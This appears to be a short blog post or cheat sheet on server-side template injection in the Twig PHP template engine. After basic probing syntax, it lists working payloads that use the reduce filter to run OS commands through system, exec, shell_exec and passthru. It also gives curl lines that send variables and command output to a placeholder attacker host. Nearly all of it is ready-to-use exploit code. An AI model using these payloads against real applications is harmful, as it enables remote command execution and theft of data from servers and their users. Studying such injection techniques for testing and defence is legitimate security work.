Twig is a MVC-based template engine for PHP.
Output a value:
{{ var }}
Force a error, e.g. via a invalid operation:
{{'a' * 5}}
Concatanation of strings:
{{ 'a' ~ 'a' }}
The reduce method take a function and then parameters… (It’s a PHP template engine, remember?)
{{ [0]|reduce('system','whoami')}}
{{ [0]|reduce('exec', 'whoami') }}
{{ [0]|reduce('shell_exec', 'whoami') }}
{{ [0]|reduce('passthru', 'whoami') }}
To find more of that kind: Scan the docu for commands which use functions (=>).
Exfiltration of a variable:
{% set exfil = "Hello"| url_encode %}
{{ [0]|reduce('system','curl http://$attacker/bla?exfil=' ~ exfil)}}
Exfiltration of command returns:
{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}
{% set exfil = output| url_encode %}
{{ [0]|reduce('system','curl http://$attacker/bla?exfil=' ~ output)}}
Leave a Reply
You must be logged in to post a comment.